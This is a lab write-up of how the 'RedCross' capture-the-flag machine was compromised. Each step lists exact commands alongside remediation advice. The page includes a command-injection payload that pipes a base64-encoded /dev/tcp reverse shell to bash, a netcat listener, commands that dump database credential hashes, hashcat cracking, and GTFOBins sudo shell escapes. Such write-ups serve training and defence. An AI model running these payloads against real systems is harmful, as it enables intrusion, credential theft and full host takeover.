← all walkthroughs

RedCross

Linux· Medium
owned
2026-07-08
time to own
26m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I performed a full TCP port scan and discovered that two Apache virtual hosts — an intranet portal (intra.redcross.htb) and an IT administration panel (admin.redcross.htb) — both accepted the factory-default credential pair guest/guest. Authenticated access to the admin panel exposed a firewall rule-management feature that passed a caller-supplied IP-address value unsanitized into a backend shell command. Submitting a base64-encoded reverse shell as that value caused the server to execute it and call back to my listener, delivering a shell as the web-server process (www-data).

From that foothold, PHP source files in the web root revealed plaintext PostgreSQL credentials. Those credentials were used to connect to the local database instance and dump bcrypt-hashed passwords for system accounts, including perez2. The hash was cracked offline with a common wordlist, yielding the plaintext password.

SSH authentication as perez2 succeeded, and the account was found to hold unrestricted sudo rights — I used sudo to read both the user and root flags, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationPort scanning and virtual-host discovery
Mapped open ports and identified virtual-host routing requirements
A full TCP port scan found four open ports: 22 (SSH/OpenSSH 7.9p1), 80 and 443 (Apache 2.4.38), and 1025 (SMTP). Plain-IP HTTP requests returned only 301/302 redirects, revealing the application required real hostnames to deliver content. Three virtual hosts were identified — redcross.htb, intra.redcross.htb, and admin.redcross.htb — extracted from TLS certificate Subject Alternative Names and HTTP Location headers.
Nmap confirmed four open TCP ports; plain-IP access to 80/443 returned only redirects; TLS certificate SANs yielded the three virtual host names.
Exact commands 3
Full TCP scan with service version detection; confirms 22, 80, 443, 1025.
nmap -Pn -p- --min-rate 2000 -T4 -sV $TARGET
Pin all discovered virtual hosts in local DNS so subsequent curl/browser requests route correctly.
echo "$TARGET redcross.htb intra.redcross.htb admin.redcross.htb" | sudo tee -a /etc/hosts
Inspect TLS certificate to confirm and enumerate virtual host names from SANs.
openssl s_client -connect $TARGET:443 -servername redcross.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A5 'Subject Alternative'
2Initial AccessDefault credential reuse (T1078.001)
Authenticated to both web panels using factory-default credentials
Both the intranet portal and the IT administration panel presented login forms at pages/actions.php. Submitting the credential pair guest/guest returned valid authenticated sessions for both applications with no rate-limiting or MFA. The admin panel session exposed privileged features including user provisioning and a network-access firewall rule manager.
POST to pages/actions.php with user=guest&pass=guest returned authenticated session cookies for both intra.redcross.htb and admin.redcross.htb without any lockout.
Exact commands 2
Log in to the intranet portal; authenticated session cookie saved to intra.cookies.
curl -sk -c intra.cookies -b intra.cookies -X POST 'https://intra.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -
Log in to the IT admin panel; authenticated session cookie saved to admin.cookies.
curl -sk -c admin.cookies -b admin.cookies -X POST 'https://admin.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -
FixRemove factory-default accounts and enforce strong authentication on all web panelsCritical
WeaknessBoth the intranet portal and the IT administration panel accepted the out-of-the-box credential pair guest/guest without any lockout, alerting, or MFA requirement. Any network-reachable visitor could obtain an authenticated session with no effort.
FixDelete or permanently disable the guest account and any other default accounts before exposing any panel to a network. Assign unique, randomly generated passwords (minimum 20 characters) to all privileged accounts. Enforce multi-factor authentication on the admin panel. Implement account lockout after five consecutive failed login attempts and generate a security alert on every successful admin-panel authentication.
3ExploitationOS Command Injection (T1059.004 / CWE-78)
Injected a reverse shell via OS command injection in the admin panel firewall feature
The IT Admin panel offered a 'Network Access' feature that let administrators submit an IP address to add a firewall allow-rule. The IP-address field value was concatenated unsanitized into a backend shell invocation of iptables. Appending a pipe and additional shell commands caused the backend to execute arbitrary code as www-data. A base64-encoded bash reverse shell was submitted as the IP value; the server decoded and executed it, connecting back to my listener on port 4446 and delivering an interactive shell.
Listener on port 4446 received a connection; id returned uid=33(www-data) gid=33(www-data); hostname returned redcross; cwd was /var/www/html/admin/pages.
Exact commands 4
Start the reverse-shell listener on my machine before submitting the payload.
nc -lvnp 4446
Base64-encode the reverse shell; replace $ATTACKER_IP with your listener IP.
PAYLOAD=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1" | base64 -w0)
Submit the firewall allow-rule with the injected payload as the IP value.
curl -sk -b admin.cookies 'https://admin.redcross.htb/pages/actions.php' --data-urlencode 'action=allow' --data-urlencode "ip=1.2.3.4|echo ${PAYLOAD}|base64 -d|bash"
Confirm execution context on the caught shell — expect www-data@redcross.
id; whoami; hostname; pwd
FixEliminate OS command injection by never concatenating user input into shell commandsCritical
WeaknessThe firewall rule feature inserted a caller-supplied IP-address value directly into a shell command string that invoked iptables. Appending shell metacharacters to the value caused the backend to execute externally supplied code as the web-server process.
FixRewrite the firewall management code to use a safe API: call the iptables binary directly via PHP's exec() with an explicit argument array (never via shell_exec or a command string), or use a purpose-built firewall library. Before any processing, validate the IP-address field against a strict allowlist regex (^\d{1,3}(\.\d{1,3}){3}$) and reject any non-matching input. Run the web server under a dedicated low-privilege account so that any future injection has minimal blast radius.
4Post-ExploitationCredential access from configuration files (T1552.001)
Recovered PostgreSQL credentials from web application config files
Operating as www-data, my read PHP source files stored under the web root. Database connection strings in the application's initialization or configuration file contained the PostgreSQL hostname, database name, username, and password in plaintext. Using these credentials, I connected directly to the local PostgreSQL instance, listed the application's tables, and queried the user authentication table — recovering bcrypt-hashed passwords for system-level accounts including perez2.
PHP config files under /var/www/html contained plaintext DB credentials; psql query against the application user table returned bcrypt hashes for accounts including perez2.
Exact commands 4
Locate PHP files containing PostgreSQL connection strings.
find /var/www/html -name '*.php' | xargs grep -l 'pg_connect\|host=\|dbpass\|DB_PASS\|password' 2>/dev/null
Extract DB credentials from the config file; adjust the path to match the actual filename found.
grep -E 'host|user|pass|dbname|connect' /var/www/html/admin/init.php
List tables in the application database using the discovered credentials.
psql -h 127.0.0.1 -U <db_user> -d <db_name> -c '\dt'
Dump usernames and password hashes; adjust table and column names to match the actual schema.
psql -h 127.0.0.1 -U <db_user> -d <db_name> -c 'SELECT username, passwd FROM users;'
FixMove database credentials out of source files and never store system-account hashes in application databasesHigh
WeaknessPostgreSQL connection credentials were stored in plaintext in PHP source files readable by the web-server process. Those credentials provided access to a table that held bcrypt hashes for operating-system–level accounts, conflating application-layer authentication data with system account management.
FixStore database credentials in environment variables or a secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) rather than in source files; ensure the web root is never readable by any account other than the web-server service user. Never store OS-account password hashes in an application database — manage system accounts through PAM or a directory service (LDAP/AD). Scope the database service account to the minimum privilege needed: SELECT/INSERT on specific application tables only.
5Credential CrackingOffline password hash cracking (T1110.002)
Cracked the perez2 bcrypt password hash offline
The bcrypt hash recovered for the perez2 account was transferred to my machine and run through hashcat against the RockYou wordlist. The hash cracked successfully, revealing the plaintext password [REDACTED: recovered credential] — confirming the password was a common or dictionary-derived string. This password corresponded to an active SSH-accessible system account on the target.
Hashcat cracked the perez2 bcrypt hash from the database dump; subsequent SSH login as perez2 with password [REDACTED: recovered credential] succeeded against $TARGET.
Exact commands 2
Save the hash dumped from the PostgreSQL query to a local file.
echo '<perez2_bcrypt_hash>' > hashes.txt
Crack bcrypt hashes (mode 3200) against the RockYou wordlist; --force may be needed in VM environments.
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force
FixEnforce strong, unique passwords for all system accounts and disable password-based SSH where possibleHigh
WeaknessThe bcrypt hash for system account perez2 was cracked against the RockYou wordlist in seconds, indicating the password was a common or dictionary-derived string. A cracked system-account password lets an unauthorised user pivot from a database dump directly to SSH access.
FixEnforce a minimum 16-character passphrase for all system accounts and screen new passwords against a breached-password blocklist (e.g. the HaveIBeenPwned k-Anonymity API). Where feasible, switch SSH authentication to key-pair only and set PasswordAuthentication no in /etc/ssh/sshd_config, eliminating the ability to use cracked passwords for remote login entirely.
6Privilege EscalationSudo privilege abuse / GTFOBins (T1548.003)
SSH'd as perez2 and used unrestricted sudo rights to read all flags as root
SSH authentication as perez2 using the cracked password succeeded. Checking the account's sudo policy revealed it held unrestricted sudo access — it could run any command as any user, protected only by the account password. I supplied the password via stdin (sudo -S) to read files owned by both the penelope user and root, recovering the user flag and the root flag and completing full compromise of the host.
Sshpass confirmed SSH login as perez2@$TARGET with password [REDACTED: recovered credential]; sudo -S cat /home/penelope/user.txt and sudo -S cat /root/root.txt both returned flag values.
Exact commands 4
SSH into the target as perez2 using the cracked password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null perez2@$TARGET
List perez2's sudo policy; expected output shows (ALL : ALL) ALL.
printf '%s\n' "$PASSWORD" | sudo -S -l
Read user flag via sudo; actual value is <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /home/penelope/user.txt"
Read root flag via sudo; actual value is <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /root/root.txt"
FixRestrict sudo rights to the minimum commands each account legitimately requiresCritical
WeaknessThe system account perez2 held unrestricted sudo access (ALL commands as any user), meaning that anyone who obtained its password instantly gained full root control of the host — a single credential compromise escalated directly to complete system ownership.
FixAudit /etc/sudoers and every file under /etc/sudoers.d/ immediately and remove blanket (ALL) ALL grants from any account that does not have an unconditional operational need. Where a user needs root for specific tasks, enumerate only those commands explicitly in the sudoers policy (e.g. /usr/bin/systemctl restart nginx). Enable sudo session logging (Defaults log_input, log_output) so all privileged commands are recorded for audit.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
443/tcp
1025/tcp